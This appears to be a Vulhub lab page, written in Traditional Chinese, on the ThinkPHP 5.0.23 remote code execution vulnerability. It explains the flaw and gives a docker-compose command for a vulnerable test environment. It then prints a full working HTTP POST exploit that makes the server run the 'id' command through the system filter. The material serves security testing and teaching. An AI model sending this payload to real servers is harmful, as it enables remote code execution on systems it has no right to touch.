ThinkPHP5 5.0.23 遠程代碼執行漏洞
Path thinkphp/5.0.23-rce
ThinkPHP是一款運用極廣的PHP開發框架。其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以調用Request類任意方法并構造利用鏈,從而導致遠程代碼執行漏洞。
參考鏈接:
漏洞環境
執行如下命令啟動一個默認的thinkphp 5.0.23環境:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080即可看到默認的ThinkPHP啟動頁面。
漏洞復現
發送數據包:
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
成功執行id命令:

Vulhub 文檔
推薦文章: